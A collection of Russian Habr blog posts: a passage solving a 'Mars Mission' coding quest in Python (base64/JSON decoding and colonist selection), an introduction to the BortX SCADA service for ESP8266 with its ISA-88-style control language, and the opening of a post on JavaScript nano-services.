1MiwicyI6InVzdCBiZSBmZW0ifSx7ImlkIjo5NiwicyI6IiBtYWxlID0gMSkifSx7ImlkIjo4OSwicyI6ImZlbWFsZSA9IDAifSx7ImlkIjoxMCwicyI6IiBjb2xvbmlzdHMifSx7ImlkIjo2NSwicyI6InMuIE9ubHkgdGgifSx7ImlkIjozNSwicyI6ImdpbmVlcnMsIDUifSx7ImlkIjoyMSwicyI6InJlZSBjcml0ZXIifSx7ImlkIjoxNywicyI6Im9sb25pc2F0aW8ifSx7ImlkIjo1NCwicyI6IiBmb3JnZXQgYWIifSx7ImlkIjoxNSwicyI6ImFuZGlkYXRlcyAifSx7ImlkIjo4NywicyI6IiBJRDtQcm9mZXMifSx7ImlkIjozNywicyI6InN5c3RlbSBzcGUifSx7ImlkIjo3OSwicyI6ImZpbGUgYXR0YWMifSx7ImlkIjo5MCwicyI6IiwgbWFsZSA9IDEifSx7ImlkIjoyOSwicyI6InNzZW50aWFsIGYifSx7ImlkIjoxMDcsInMiOiJpemUgdGhlIFJlIn0seyJpZCI6NiwicyI6ImF0ZXMgZnVsbHkifSx7ImlkIjo2NiwicyI6ImUgbW9zdCByZXMifSx7ImlkIjozMiwicyI6ImFnZXIsIDMgY28ifSx7ImlkIjo2MywicyI6InMgb2YgaGFyc2gifSx7ImlkIjo0LCJzIjoidW5jdGlvbmluZyJ9LHsiaWQiOjgyLCJzIjoidGFpbnMgYSBsaSJ9LHsiaWQiOjM4LCJzIjoiY2lhbGlzdHMsICJ9LHsiaWQiOjc0LCJzIjoiZSByYXRpbmcgNiJ9LHsiaWQiOjc3LCJzIjoiZnJvbSAxIHRvICJ9LHsiaWQiOjE5LCJzIjoiaW9sb2dpc3RzICJ9LHsiaWQiOjMsInMiOiJzIGFyZSBtYWxmIn0seyJpZCI6NTMsInMiOiJhbGUuIERvbid0In0seyJpZCI6MjMsInMiOiJwbGlmeSB0aGUgIn0seyJpZCI6MjgsInMiOiJjaWFsaXN0cyBlIn0seyJpZCI6ODgsInMiOiJzaW9uO1NleCAoIn0seyJpZCI6OTQsInMiOiJpb247U2V4IChmIn0seyJpZCI6MTA2LCJzIjoid2lsbCBjb2xvbiJ9LHsiaWQiOjI1LCJzIjoiXG5cbjEuIENyZXcgIn0seyJpZCI6MTAyLCJzIjoiIHRoaXMgaW5mbyJ9LHsiaWQiOjkxLCJzIjoiKTtSZXNpbGllbiJ9LHsiaWQiOjgxLCJzIjoicyB0YXNrIGNvbiJ9LHsiaWQiOjU3LCJzIjoiJSBvZiBjb2xvbiJ9LHsiaWQiOjc2LCJzIjoiIG9uIHNjYWxlICJ9LHsiaWQiOjMwLCJzIjoib3IgdGhlIGNvbCJ9LHsiaWQiOjgwLCJzIjoiaGVkIHRvIHRoaSJ9LHsiaWQiOjE0LCJzIjoicm9wcmlhdGUgYyJ9LHsiaWQiOjcyLCJzIjoiZW9wbGUgd2l0aCJ9LHsiaWQiOjY5LCJzIjoiIGNvbG9uaXplICJ9LHsiaWQiOjksInMiOiJvbnRhaW4gMTIwIn0seyJpZCI6MjAsInMiOiJkZWZpbmVkIHRoIn0seyJpZCI6NjcsInMiOiJpbGllbnQgcGVvIn0seyJpZCI6NTAsInMiOiJzZWxlY3RlZCBjIn0seyJpZCI6OTksInMiOiJ0Yy4gXG5MaW5lICJ9LHsiaWQiOjgzLCJzIjoic3Qgb2YgY29sbyJ9LHsiaWQiOjU2LCJzIjoidCBsZWFzdCAzMCJ9LHsiaWQiOjg0LCJzIjoibmlzdHMgaW4gdCJ9LHsiaWQiOjM0LCJzIjoiY3RyaWNhbCBlbiJ9LHsiaWQiOjQ1LCJzIjoiZXhpc3QgZm9yICJ9LHsiaWQiOjkyLCJzIjoiY2UgcmF0aW5nXG4ifSx7ImlkIjoyNiwicyI6Im11c3QgaW5jbHUifSx7ImlkIjo0NiwicyI6InNldmVyYWwgZ2UifV0="""
def base64ToString(b):
return base64.b64decode(b).decode('utf-8')
decodedJSON = base64ToString(code)
print(decodedJSON)
```
После вывода становится понятно, что данные представлены в формате JSON:
**Такой джейсон получаем:**`[{"id":31,"s":"ony: 1 man"},{"id":27,"s":"de all spe"},{"id":61,"s":"s will fac"},{"id":55,"s":"out men, a"},{"id":42,"s":"ntists.\n2."},{"id":18,"s":"n. Our soc"},{"id":70,"s":"the planet"},{"id":5,"s":". One oper"},{"id":64,"s":" condition"},{"id":44,"s":"y have to "},{"id":49,"s":"st 51% of "},{"id":58,"s":"ists must "},{"id":71,"s":". Select p"},{"id":59,"s":"be male.\n3"},{"id":85,"s":"he followi"},{"id":43,"s":" The colon"},{"id":73,"s":" resilienc"},{"id":24,"s":"selection."},{"id":62,"s":"e all kind"},{"id":47,"s":"nerations,"},{"id":105,"s":"eople who "},{"id":103,"s":"rmation, s"},{"id":22,"s":"ias to sim"},{"id":86,"s":"ng format:"},{"id":2,"s":"p's lander"},{"id":36,"s":" computer "},{"id":48,"s":" so at lea"},{"id":16,"s":"for Mars c"},{"id":75,"s":"0 and more"},{"id":11,"s":". You have"},{"id":95,"s":"emale = 0,"},{"id":68,"s":"ple should"},{"id":41,"s":"s, 14 scie"},{"id":7,"s":", but is u"},{"id":98,"s":"e rating\ne"},{"id":0,"s":"Two of the"},{"id":101,"s":".\n\nKnowing"},{"id":33,"s":"oks, 4 ele"},{"id":97,"s":";Resilienc"},{"id":51,"s":"olonists m"},{"id":108,"s":"d Planet."},{"id":100,"s":"break - \\n"},{"id":60,"s":". Colonist"},{"id":40,"s":"8 mechanic"},{"id":78,"s":"100.\n\nThe "},{"id":1,"s":" three shi"},{"id":13,"s":"0 most app"},{"id":12,"s":" to pick 4"},{"id":93,"s":"ID;Profess"},{"id":104,"s":"elect 40 p"},{"id":39,"s":"5 medics, "},{"id":8,"s":"nable to c"},{"id":52,"s":"ust be fem"},{"id":96,"s":" male = 1)"},{"id":89,"s":"female = 0"},{"id":10,"s":" colonists"},{"id":65,"s":"s. Only th"},{"id":35,"s":"gineers, 5"},{"id":21,"s":"ree criter"},{"id":17,"s":"olonisatio"},{"id":54,"s":" forget ab"},{"id":15,"s":"andidates "},{"id":87,"s":" ID;Profes"},{"id":37,"s":"system spe"},{"id":79,"s":"file attac"},{"id":90,"s":", male = 1"},{"id":29,"s":"ssential f"},{"id":107,"s":"ize the Re"},{"id":6,"s":"ates fully"},{"id":66,"s":"e most res"},{"id":32,"s":"ager, 3 co"},{"id":63,"s":"s of harsh"},{"id":4,"s":"unctioning"},{"id":82,"s":"tains a li"},{"id":38,"s":"cialists, "},{"id":74,"s":"e rating 6"},{"id":77,"s":"from 1 to "},{"id":19,"s":"iologists "},{"id":3,"s":"s are malf"},{"id":53,"s":"ale. Don't"},{"id":23,"s":"plify the "},{"id":28,"s":"cialists e"},{"id":88,"s":"sion;Sex ("},{"id":94,"s":"ion;Sex (f"},{"id":106,"s":"will colon"},{"id":25,"s":"\n\n1. Crew "},{"id":102,"s":" this info"},{"id":91,"s":");Resilien"},{"id":81,"s":"s task con"},{"id":57,"s":"% of colon"},{"id":76,"s":" on scale "},{"id":30,"s":"or the col"},{"id":80,"s":"hed to thi"},{"id":14,"s":"ropriate c"},{"id":72,"s":"eople with"},{"id":69,"s":" colonize "},{"id":9,"s":"ontain 120"},{"id":20,"s":"defined th"},{"id":67,"s":"ilient peo"},{"id":50,"s":"selected c"},{"id":99,"s":"tc. \nLine "},{"id":83,"s":"st of colo"},{"id":56,"s":"t least 30"},{"id":84,"s":"nists in t"},{"id":34,"s":"ctrical en"},{"id":45,"s":"exist for "},{"id":92,"s":"ce rating\n"},{"id":26,"s":"must inclu"},{"id":46,"s":"several ge"}]`
В каждом элементе массива есть параметр «id» — это порядковый номер, по нему и будем сортировать кусочки сообщения. Усложним наш код:
**Предыдыщий код с усовершенствованиями:**
```
import base64
import json
import hashlib
code = """W3siaWQiOjMxLCJzIjoib255OiAxIG1hbiJ9LHsiaWQiOjI3LCJzIjoiZGUgYWxsIHNwZSJ9LHsiaWQiOjYxLCJzIjoicyB3aWxsIGZhYyJ9LHsiaWQiOjU1LCJzIjoib3V0IG1lbiwgYSJ9LHsiaWQiOjQyLCJzIjoibnRpc3RzLlxuMi4ifSx7ImlkIjoxOCwicyI6Im4uIE91ciBzb2MifSx7ImlkIjo3MCwicyI6InRoZSBwbGFuZXQifSx7ImlkIjo1LCJzIjoiLiBPbmUgb3BlciJ9LHsiaWQiOjY0LCJzIjoiIGNvbmRpdGlvbiJ9LHsiaWQiOjQ0LCJzIjoieSBoYXZlIHRvICJ9LHsiaWQiOjQ5LCJzIjoic3QgNTElIG9mICJ9LHsiaWQiOjU4LCJzIjoiaXN0cyBtdXN0ICJ9LHsiaWQiOjcxLCJzIjoiLiBTZWxlY3QgcCJ9LHsiaWQiOjU5LCJzIjoiYmUgbWFsZS5cbjMifSx7ImlkIjo4NSwicyI6ImhlIGZvbGxvd2kifSx7ImlkIjo0MywicyI6IiBUaGUgY29sb24ifSx7ImlkIjo3MywicyI6IiByZXNpbGllbmMifSx7ImlkIjoyNCwicyI6InNlbGVjdGlvbi4ifSx7ImlkIjo2MiwicyI6ImUgYWxsIGtpbmQifSx7ImlkIjo0NywicyI6Im5lcmF0aW9ucywifSx7ImlkIjoxMDUsInMiOiJlb3BsZSB3aG8gIn0seyJpZCI6MTAzLCJzIjoicm1hdGlvbiwgcyJ9LHsiaWQiOjIyLCJzIjoiaWFzIHRvIHNpbSJ9LHsiaWQiOjg2LCJzIjoibmcgZm9ybWF0OiJ9LHsiaWQiOjIsInMiOiJwJ3MgbGFuZGVyIn0seyJpZCI6MzYsInMiOiIgY29tcHV0ZXIgIn0seyJpZCI6NDgsInMiOiIgc28gYXQgbGVhIn0seyJpZCI6MTYsInMiOiJmb3IgTWFycyBjIn0seyJpZCI6NzUsInMiOiIwIGFuZCBtb3JlIn0seyJpZCI6MTEsInMiOiIuIFlvdSBoYXZlIn0seyJpZCI6OTUsInMiOiJlbWFsZSA9IDAsIn0seyJpZCI6NjgsInMiOiJwbGUgc2hvdWxkIn0seyJpZCI6NDEsInMiOiJzLCAxNCBzY2llIn0seyJpZCI6NywicyI6IiwgYnV0IGlzIHUifSx7ImlkIjo5OCwicyI6ImUgcmF0aW5nXG5lIn0seyJpZCI6MCwicyI6IlR3byBvZiB0aGUifSx7ImlkIjoxMDEsInMiOiIuXG5cbktub3dpbmcifSx7ImlkIjozMywicyI6Im9rcywgNCBlbGUifSx7ImlkIjo5NywicyI6IjtSZXNpbGllbmMifSx7ImlkIjo1MSwicyI6Im9sb25pc3RzIG0ifSx7ImlkIjoxMDgsInMiOiJkIFBsYW5ldC4ifSx7ImlkIjoxMDAsInMiOiJicmVhayAtIFxcbiJ9LHsiaWQiOjYwLCJzIjoiLiBDb2xvbmlzdCJ9LHsiaWQiOjQwLCJzIjoiOCBtZWNoYW5pYyJ9LHsiaWQiOjc4LCJzIjoiMTAwLlxuXG5UaGUgIn0seyJpZCI6MSwicyI6IiB0aHJlZSBzaGkifSx7ImlkIjoxMywicyI6IjAgbW9zdCBhcHAifSx7ImlkIjoxMiwicyI6IiB0byBwaWNrIDQifSx7ImlkIjo5MywicyI6IklEO1Byb2Zlc3MifSx7ImlkIjoxMDQsInMiOiJlbGVjdCA0MCBwIn0seyJpZCI6MzksInMiOiI1IG1lZGljcywgIn0seyJpZCI6OCwicyI6Im5hYmxlIHRvIGMifSx7ImlkIjo1MiwicyI6InVzdCBiZSBmZW0ifSx7ImlkIjo5NiwicyI6IiBtYWxlID0gMSkifSx7ImlkIjo4OSwicyI6ImZlbWFsZSA9IDAifSx7ImlkIjoxMCwicyI6IiBjb2xvbmlzdHMifSx7ImlkIjo2NSwicyI6InMuIE9ubHkgdGgifSx7ImlkIjozNSwicyI6ImdpbmVlcnMsIDUifSx7ImlkIjoyMSwicyI6InJlZSBjcml0ZXIifSx7ImlkIjoxNywicyI6Im9sb25pc2F0aW8ifSx7ImlkIjo1NCwicyI6IiBmb3JnZXQgYWIifSx7ImlkIjoxNSwicyI6ImFuZGlkYXRlcyAifSx7ImlkIjo4NywicyI6IiBJRDtQcm9mZXMifSx7ImlkIjozNywicyI6InN5c3RlbSBzcGUifSx7ImlkIjo3OSwicyI6ImZpbGUgYXR0YWMifSx7ImlkIjo5MCwicyI6IiwgbWFsZSA9IDEifSx7ImlkIjoyOSwicyI6InNzZW50aWFsIGYifSx7ImlkIjoxMDcsInMiOiJpemUgdGhlIFJlIn0seyJpZCI6NiwicyI6ImF0ZXMgZnVsbHkifSx7ImlkIjo2NiwicyI6ImUgbW9zdCByZXMifSx7ImlkIjozMiwicyI6ImFnZXIsIDMgY28ifSx7ImlkIjo2MywicyI6InMgb2YgaGFyc2gifSx7ImlkIjo0LCJzIjoidW5jdGlvbmluZyJ9LHsiaWQiOjgyLCJzIjoidGFpbnMgYSBsaSJ9LHsiaWQiOjM4LCJzIjoiY2lhbGlzdHMsICJ9LHsiaWQiOjc0LCJzIjoiZSByYXRpbmcgNiJ9LHsiaWQiOjc3LCJzIjoiZnJvbSAxIHRvICJ9LHsiaWQiOjE5LCJzIjoiaW9sb2dpc3RzICJ9LHsiaWQiOjMsInMiOiJzIGFyZSBtYWxmIn0seyJpZCI6NTMsInMiOiJhbGUuIERvbid0In0seyJpZCI6MjMsInMiOiJwbGlmeSB0aGUgIn0seyJpZCI6MjgsInMiOiJjaWFsaXN0cyBlIn0seyJpZCI6ODgsInMiOiJzaW9uO1NleCAoIn0seyJpZCI6OTQsInMiOiJpb247U2V4IChmIn0seyJpZCI6MTA2LCJzIjoid2lsbCBjb2xvbiJ9LHsiaWQiOjI1LCJzIjoiXG5cbjEuIENyZXcgIn0seyJpZCI6MTAyLCJzIjoiIHRoaXMgaW5mbyJ9LHsiaWQiOjkxLCJzIjoiKTtSZXNpbGllbiJ9LHsiaWQiOjgxLCJzIjoicyB0YXNrIGNvbiJ9LHsiaWQiOjU3LCJzIjoiJSBvZiBjb2xvbiJ9LHsiaWQiOjc2LCJzIjoiIG9uIHNjYWxlICJ9LHsiaWQiOjMwLCJzIjoib3IgdGhlIGNvbCJ9LHsiaWQiOjgwLCJzIjoiaGVkIHRvIHRoaSJ9LHsiaWQiOjE0LCJzIjoicm9wcmlhdGUgYyJ9LHsiaWQiOjcyLCJzIjoiZW9wbGUgd2l0aCJ9LHsiaWQiOjY5LCJzIjoiIGNvbG9uaXplICJ9LHsiaWQiOjksInMiOiJvbnRhaW4gMTIwIn0seyJpZCI6MjAsInMiOiJkZWZpbmVkIHRoIn0seyJpZCI6NjcsInMiOiJpbGllbnQgcGVvIn0seyJpZCI6NTAsInMiOiJzZWxlY3RlZCBjIn0seyJpZCI6OTksInMiOiJ0Yy4gXG5MaW5lICJ9LHsiaWQiOjgzLCJzIjoic3Qgb2YgY29sbyJ9LHsiaWQiOjU2LCJzIjoidCBsZWFzdCAzMCJ9LHsiaWQiOjg0LCJzIjoibmlzdHMgaW4gdCJ9LHsiaWQiOjM0LCJzIjoiY3RyaWNhbCBlbiJ9LHsiaWQiOjQ1LCJzIjoiZXhpc3QgZm9yICJ9LHsiaWQiOjkyLCJzIjoiY2UgcmF0aW5nXG4ifSx7ImlkIjoyNiwicyI6Im11c3QgaW5jbHUifSx7ImlkIjo0NiwicyI6InNldmVyYWwgZ2UifV0="""
def base64ToString(b):
return base64.b64decode(b).decode('utf-8')
def sortbylen(sortlist):
return sortlist[ids]
decodedJSON = base64ToString(code)
print(decodedJSON)
sortString = json.loads(decodedJSON)
sortList = list()
for item in sortString:
sortList.append(item)
elem = sortList[0]
ids = list(elem.keys())[0]
messages = list(elem.keys())[1]
sortList.sort(key=sortbylen)
finallyDecodedString = ''
for item in sortList:
finallyDecodedString = finallyDecodedString + '' + str(item[messages])
print(finallyDecodedString + '\n')
print('Md5 hash: ' + hashlib.md5(finallyDecodedString.encode('utf-8')).hexdigest())
```
В итоге, получим сообщение и md5-хэш сообщения:
`Two of the three ship's landers are malfunctioning. One operates fully, but is unable to contain 120 colonists. You have to pick 40 most appropriate candidates for Mars colonisation. Our sociologists defined three criterias to simplify the selection.
1. Crew must include all specialists essential for the colony: 1 manager, 3 cooks, 4 electrical engineers, 5 computer system specialists, 5 medics, 8 mechanics, 14 scientists.
2. The colony have to exist for several generations, so at least 51% of selected colonists must be female. Don't forget about men, at least 30% of colonists must be male.
3. Colonists will face all kinds of harsh conditions. Only the most resilient people should colonize the planet. Select people with resilience rating 60 and more on scale from 1 to 100.
The file attached to this task contains a list of colonists in the following format: ID;Profession;Sex (female = 0, male = 1);Resilience rating
ID;Profession;Sex (female = 0, male = 1);Resilience rating
etc.
Line break - \n.
Knowing this information, select 40 people who will colonize the Red Planet.
Md5 hash: 88f57ef56978a95f044183951eabef3b`
К сообщению прилагается файл с данными о колонистах в следующем формате:
`1;electrical engineer;0;90
2;mechanic;0;77
3;scientist;1;71`
Формат такой: ID; Профессия; Пол(женщина = 0, мужчина = 1); Рейтинг устойчивости
Предлагается из 120 колонистов набрать 40, удовлетворяющих следующим критериям:
1. В колонии должен быть 1 управляющий, 3 повара, 4 электрика, 5 компьютерщиков, 5 медиков, 8 механиков и 14 ученых.
2. Колонии предстоит существовать не один год, поэтому, как минимум, 51% жителей должны быть женщинами. Но не менее 30% колонистов должны быть представителями мужского пола.
3. В колонии жить не так просто и весело, поэтому необходимо выбрать только кандидатов, чей рейтинг устойчивости равен 60 и более единицам по шкале от 1 до 100.
А теперь приступим к отбору колонистов!
**Отбираем...**
```
import random
import math
import sys
colonists_list = list()
new_colonists_list_male = list()
new_colonists_list_female = list()
manager_fem_list = list()
manager_mal_list = list()
cook_fem_list = list()
cook_mal_list = list()
elen_fem_list = list()
elen_mal_list = list()
compspec_fem_list = list()
compspec_mal_list = list()
doc_fem_list = list()
doc_mal_list = list()
mech_fem_list = list()
mech_mal_list = list()
sci_fem_list = list()
sci_mal_list = list()
lucky_colonists = list()
luck_list = [random.randint(0, 100) for i in range(100)]
managers = 1
cooks = 3
electrical_engineers = 4
computer_system_specialists = 5
medics = 5
mechanics = 8
scientists = 14
def pick_percentage(low, high):
return random.randint(low, high)/100
perc_male = pick_percentage(30, 49)
perc_female = pick_percentage(51, 69)
quantity_required = 40
quantity_of_women_required = math.ceil(quantity_required * perc_female)
min_percentage_fem = quantity_of_women_required/quantity_required
quantity_of_men_required = quantity_required * perc_male
min_percentage_mal = quantity_of_men_required/quantity_required
unsorted_list = list()
while 1:
try:
line = input()
except EOFError:
break
unsorted_list.append(line)
sorted_list = list()
for i in unsorted_list:
sorted_list.append(i.split(';'))
# сортировка по рейтингу
for item in sorted_list:
if int(item[3]) >= 60:
colonists_list.append(item)
counter = 0
conditions = "1. Crew must include all specialists essential for the colony: 1 manager, 3 cooks," \
" 4 electrical engineers, 5 computer system specialists, 5 medics, 8 mechanics, 14 " \
"scientists. 2. The colony have to exist for several generations, so at least 51% " \
"of selected colonists must be female. Don't forget about men, at least 30% of colonists must be male."\
"3. Colonists will face all kinds of harsh conditions. Only the most resilient people should colonize " \
"the planet. Select people with resilience rating 60 and more on scale from 1 to 100."
# отсортируем женщин
for item in colonists_list:
if int(item[2]) == 0:
new_colonists_list_female.append(item)
# отсортируем мужчин
for item in colonists_list:
if int(item[2]) == 1:
new_colonists_list_male.append(item)
# отсортируем по профессиям женщин
for item in new_colonists_list_female:
if item[1] == 'manager':
manager_fem_list.append(item)
if item[1] == 'cook':
cook_fem_list.append(item)
if item[1] == 'electrical engineer':
elen_fem_list.append(item)
if item[1] == 'computers specialist':
compspec_fem_list.append(item)
if item[1] == 'doctor':
doc_fem_list.append(item)
if item[1] == 'mechanic':
mech_fem_list.append(item)
if item[1] == 'scientist':
sci_fem_list.append(item)
# отсортируем по профессиям мужчин
for item in new_colonists_list_male:
if item[1] == 'manager':
manager_mal_list.append(item)
if item[1] == 'cook':
cook_mal_list.append(item)
if item[1] == 'electrical engineer':
elen_mal_list.append(item)
if item[1] == 'computers specialist':
compspec_mal_list.append(item)
if item[1] == 'doctor':
doc_mal_list.append(item)
if item[1] == 'mechanic':
mech_mal_list.append(item)
if item[1] == 'scientist':
sci_mal_list.append(item)
# Подберем колонистов
def percentage_is_ok(colonists):
female_quantity = 0
female_is_ok = 1
male_is_ok = 1
for i in colonists:
if int(i[2]) == 0:
female_quantity = female_quantity + 1
percentage_female = female_quantity/int(len(colonists))
percentage_male = 1 - percentage_female
if percentage_female < min_percentage_fem:
female_is_ok = 0
elif percentage_male < min_percentage_mal:
male_is_ok = 0
return [female_is_ok, male_is_ok, percentage_female, percentage_male, female_quantity]
def choose_colonists(female, male, quantity, resulting_list):
for i in range(quantity):
if int(percentage_is_ok(resulting_list)[0]) == 0 and len(female) > 0:
colonist_choice = random.choice(female)
resulting_list.append(colonist_choice)
female.remove(colonist_choice)
elif int(percentage_is_ok(resulting_list)[1]) == 0 and len(male) > 0:
colonist_choice = random.choice(male)
resulting_list.append(colonist_choice)
male.remove(colonist_choice)
else:
if len(male) > 0 and len(female) > 0:
sex_choice = random.choice([female, male])
colonist_choice = random.choice(sex_choice)
resulting_list.append(colonist_choice)
sex_choice.remove(colonist_choice)
else:
if len(male) == 0:
colonist_choice = random.choice(female)
resulting_list.append(colonist_choice)
sex_choice.remove(colonist_choice)
elif len(female) == 0:
colonist_choice = random.choice(male)
resulting_list.append(colonist_choice)
sex_choice.remove(colonist_choice)
# управляющих
if int(random.choice(luck_list)) >= 50:
choice = random.choice(manager_fem_list)
lucky_colonists.append(choice)
else:
choice = random.choice(manager_mal_list)
lucky_colonists.append(choice)
# поваров
choose_colonists(cook_fem_list, cook_mal_list, cooks, lucky_colonists)
# электроинженеров
choose_colonists(elen_fem_list, elen_mal_list, electrical_engineers, lucky_colonists)
# компьютерных инженеров
choose_colonists(compspec_fem_list, compspec_mal_list, computer_system_specialists, lucky_colonists)
# медиков - частный случай
doctors_left = 1
for i in range(medics):
if int(percentage_is_ok(lucky_colonists)[0]) == 0:
choice = random.choice(doc_fem_list)
lucky_colonists.append(choice)
doc_fem_list.remove(choice)
elif doctors_left > 0:
choice = random.choice(doc_mal_list)
lucky_colonists.append(choice)
doc_mal_list.remove(choice)
doctors_left = 0
else:
choice = random.choice(doc_fem_list)
lucky_colonists.append(choice)
doc_fem_list.remove(choice)
# механиков - частный случай
mechanics_male_left = 6
for i in range(mechanics):
if int(percentage_is_ok(lucky_colonists)[0]) == 0:
choice = random.choice(mech_fem_list)
lucky_colonists.append(choice)
mech_fem_list.remove(choice)
elif mechanics_male_left > 0:
choice = random.choice(mech_mal_list)
lucky_colonists.append(choice)
mech_mal_list.remove(choice)
mechanics_male_left = mechanics_male_left - 1
else:
choice = random.choice(mech_fem_list)
lucky_colonists.append(choice)
# ученых
choose_colonists(sci_fem_list, sci_mal_list, scientists, lucky_colonists)
colonists_string = ''
for item in lucky_colonists:
colonists_string = colonists_string + item[0] + ';'
colonists_string = colonists_string[0:len(colonists_string)-1]
#выведем
sys.stdout.write(colonists_string)
```
Форма на сайте принимает код и автоматически его тестирует. Данные подаются из потока стандартного ввода, по этой же причине, приходится их считывать оттуда, что немного усложняет тестирование кода при написании.
Январь 2019
-----------
Хотел поделиться с вами этим, довольно интересным, опытом, участия в подобных квестах. Для меня он оказался первым. Мне кажется, идея интересная даже без конкурсной основы. Лично я нарешал штук 5 задач разных типов. Остальные прикладываю по [ссылке](https://github.com/petukhovlive/MarsMission) на github.
А еще, в качестве вознаграждения, в конце выпадает рейтинговая таблица с вашим временем. Для меня лучший результат оказался таким:
Итог, символическое 50 место из более 400+ участников.
Что можно об этом сказать? Для меня это было увлекательно проведенное за программированием время. Кстати задания все еще доступны для желающих их порешать, несмотря на то, что конкурс давно завершен. | https://habr.com/ru/post/435286/ | null | ru | null |
# SCADA «BortX» с поддержкой языка управления в рамках ANSI /ISA-88 для ESP8266
Признаюсь честно — очень люблю cовременные микроконтроллеры. В частности, производства китайского производителя **Espressif Systems** с интерфейсом Wi-Fi. Речь, естественно, идет о **ESP8266** и **ESP32**, которые обладают большим потенциалом в образовательном контексте.
Конечно, у них есть свои недостатки. Но цена. Это чудо. В частности, если покупаешь условный «Witty Cloud» за три доллара, в котором даже не надо мучаться вопросами питания и программирования. Сфера применения в IoT позволяет создать собственные проекты автоматизации различными путями — классическим образом: путем написания кода и работы в IDE. Или через тот же FLProg. Однако, как всегда, есть нюансы, несколько тормозящие репрезентацию работы в рамках типового применения ESP8266 как аппаратной основы. И проблема вовсе не в сетевом подключении, осуществляемой к домашней/офисной локальной сети с выходом в Internet через роутер. Устройства работают прилежно и могут выступать их в качестве Zigbee-координаторов при определенной конфигурации.
ESP8266/ESP32 могут работать как в роли точки доступа так и оконечной станции. При нормальной работе в локальной сети ESP8266 конфигурируется в режим оконечной станции. Для этого устройству необходимо задать SSID Wi-Fi сети и, в закрытых сетях, пароль доступа. Для первоначального конфигурирования этих параметров удобен режим точки доступа. В режиме точки доступа устройство видно при стандартном поиске сетей в планшетах и компьютерах. Остается подключиться к устройству, открыть HTML страничку конфигурирования и задать сетевые параметры. После чего устройство штатно подключится к локальной сети в режиме оконечной станции.
**Управление и визуализация данными в реальном времени – важная задача.** Однако, далеко не всегда доступен быстрый старт в этом деле. А ведь после этого необходим их анализ. Важна также роль линии времени на графике — показать частоту и равномерность измерений. История процесса нужна для анализа и диагностики. Без необходимых знаний и анализа весь потенциал данных остается недоиспользованным, что является недоработкой и вызывает необходимость в инструменте, который может придавать значение цифрам и процентам наглядность и облегчать понимание и интерпретацию данных. Это необходимо в области научного эксперимента и в производственном процессе.
**Онлайн-инструменты визуализации данных** являются подходящим ответом на этот вызов времени. Отдельной задачей видится объединение данных, то есть синтез информации. Масштабирование во времени, выделение участка просмотра, масштабирование по оси Y, сдвиг по оси Y – все это необходимые атрибуты инструментов визуализации, благодаря которым даже самые сложные графики и диаграммы, просмотр которых вы осуществляете в панели (dashboard), будут наглядны и понятны. Одним из вариантов онлайн-визуализации данных с поддержкой SCADA является **новый проект [BortX](http://bortx.ru/)**.
Полагаю, что ознакомление с ним поможет вам в проведении экспериментов в реальном масштабе времени (например — в простой реализации ваших замыслов в образовательном процессе). Для работы нужно лишь зашить скетч «Спутник» на ваш ESP8266. С его кодом вы можете ознакомиться по [ссылке](http://bortx.ru/bortx.txt). Модификация на ваше усмотрение — обязательное условие работы: ввести SSID и пароль для подключения ESP к вашему маршрутизатору. Кстати, пилотный проект спутника находится по [адресу](http://bortx.ru/bx001).
После загрузки скетча микропроцессор выводит информацию в интернет в виде web-страницы. Регистрация не нужна, ибо каждый микропроцессор имеет уникальный номер и по этому номеру осуществляется доступ через интернет. Сам ID можно узнать, открыв окно состояния COM-порта в Arduino IDE (115кбод/с):
По умолчанию идет **TCP-порт 6110** использует протокол управления передачей данных (TCP), который является одним из основных протоколов в сетях TCP/IP. TCP является протоколом с установлением соединения и требует квитирования для установки сквозной связи. Только после установления соединения пользовательские данные могут пересылаться в обоих направлениях. Есть возможность установки пароля на страничку и т.д. Но наиболее важным элементом данной «системы» является условная поддержка языка управления из АСУ ТП.
**Язык управления BS-88** основан на стандарте **ISA S-88**. Пример графического аналога — SFC. Язык управления позволяет ESP принимать решения о стратегиях управления на основе текущих условий и позволяет упорядочивать управление ESP в соответствии с потребностями некоторых действий. Этот язык отличается от традиционных языков программирования. Причина в том, что язык описывает действия по управлению производственным процессом.
В соответствии с BS-88, производственный процесс состоит из операций, которые могут происходить одновременно, например, нагрева воды и приготовления компонентов раствора.
В свою очередь операции состоят из фаз, которые выполняются последовательно. Существует только два типа операторов языка управления:
1. Активные операторы.
2. Операторы перехода (с условием или без условия) (transition).
> Например, операция нагрева воды:
>
> Фаза 1: открываем водяной клапан;
>
> когда срабатывает датчик уровня, переходим на фазу 2
>
> Фаза 2: закрыть водяной клапан;
>
> включить нагреватель;;
>
> когда температура достигает 60 градусов, переход к фазе 3
>
> Фаза 3: выключить нагреватель;
>
> стоп;
>
>
Предположим, что водяной клапан подключен к DO, датчик уровня воды подключен к D5, нагреватель подключен к D1, а A0 — это датчик температуры.
Сценарий выглядит следующим образом:
```
1: $ D0 = 1; // phase1
if($D1 = 1) trans {2}; // wait_for_D5_become_ "on"
2: $ D0 = 0; // phase2
$D2 = 1;
if($А0 >= 60) trans {3}; // wait_for_tempeature
3: $D2 = 0;
stop; // end_of_script
```
Язык использует написание переменных, таких как принято для ардуино, но на панели переменные могут иметь другое имя, например: Uakk, Set\_Ux, Set\_temp. Замена имен возможна в редакторе конфигурации. Чтобы получить доступ к редактору, нажмите на значок шестеренки на панели. Есть также переменные для внутренних вычислений или $ X0- $ X9 памяти. У них нет своих полей для отображения, но их можно увидеть, когда мы установим их значения для переменной.
```
$X9 = $ X9 + 1; // автоматическое приращение
$ S3 = $ X9; // отображаем $ X9 в поле S3 приборной панели.
```
Более полная инструкция по языку управления АСУ ТП размещена на сайте. В режиме конфигурации онлайн прямо с сайта можно задавать сценарии работы:
И задавать (менять) названия переменных пинов:
 | https://habr.com/ru/post/518916/ | null | ru | null |
# JavaScript — заполняем нишу между микросервисами и объектами — «нано-сервисы»
Кто из нас не хочет сделать большое приложение с правильной архитектурой? Все хотят.
Чтобы была гибкость, переиспользуемость и четкость логики. Чтобы были домены, сервисы, их взаимодействие.
И даже иногда хочется чтобы было почти как в Erlang.
Идея создания фреймворка для микросервисов для NodeJs удачно воплощалась не единожды — так у нас как минимум есть [Seneca](http://senecajs.org/) и [Studio.js](https://github.com/ericholiveira/studio), которые безусловно хороши, но они определяют большие логические единицы. С другой стороны у нас есть обычные объекты, разделяемые в системе посредством **Dependency Injection** или подобной техники, но они не дают должной четкости границ.
Иногда нужны "нано-сервисы".
